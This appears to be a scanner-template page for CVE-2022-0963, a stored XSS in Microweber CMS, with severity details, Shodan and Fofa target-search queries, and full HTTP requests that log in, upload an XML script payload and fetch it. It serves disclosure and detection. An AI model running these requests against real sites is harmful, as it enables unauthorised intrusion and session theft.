| Title | Microweber <1.2.12 - Stored Cross-Site Scripting |
|---|---|
| Author | amit-jd |
| Severity | Medium |
| Impact | Authenticated attackers can upload malicious XML files containing XSS payloads that execute when users access the uploaded files, potentially stealing session cookies or performing unauthorized actions. |
| Remediation | Upgrade Microweber CMS to version 1.2.12 or later to mitigate the vulnerability. |
| CVSS Score | 5.4 |
| EPSS Score | 0.0815 |
| CVE ID | CVE-2022-0963 |
| CWE ID | CWE-79 |
| Shodan Query | http.favicon.hash:780351152http.html:"microweber" |
| Fofa Query | body="microweber"icon_hash=780351152 |
| Tags | cve cve2022 xss microweber cms authenticated huntr intrusive vuln |
Microweber prior to 1.2.12 contains a stored cross-site scripting vulnerability. It allows unrestricted upload of XML files,.
POST /api/user_login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 31
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
username=xV1CB2&password=awfsVJ
POST /plupload HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 673
Content-Type: multipart/form-data; boundary=---------------------------59866212126262636974202255034
Referer: http://www.victim.comadmin/view:modules/load_module:files
Accept-Encoding: gzip
-----------------------------59866212126262636974202255034
Content-Disposition: form-data; name="name"
38F52CW4hDGJqdfuEhRPL8jxX67.xml
-----------------------------59866212126262636974202255034
Content-Disposition: form-data; name="chunk"
0
-----------------------------59866212126262636974202255034
Content-Disposition: form-data; name="chunks"
1
-----------------------------59866212126262636974202255034
Content-Disposition: form-data; name="file"; filename="blob"
Content-Type: application/octet-stream
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(document.domain)</x:script>
-----------------------------59866212126262636974202255034--
GET /userfiles/media/default/38f52cw4hdgjqdfuehrpl8jxx67.xml HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0963.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0963.pcap
N/AN/A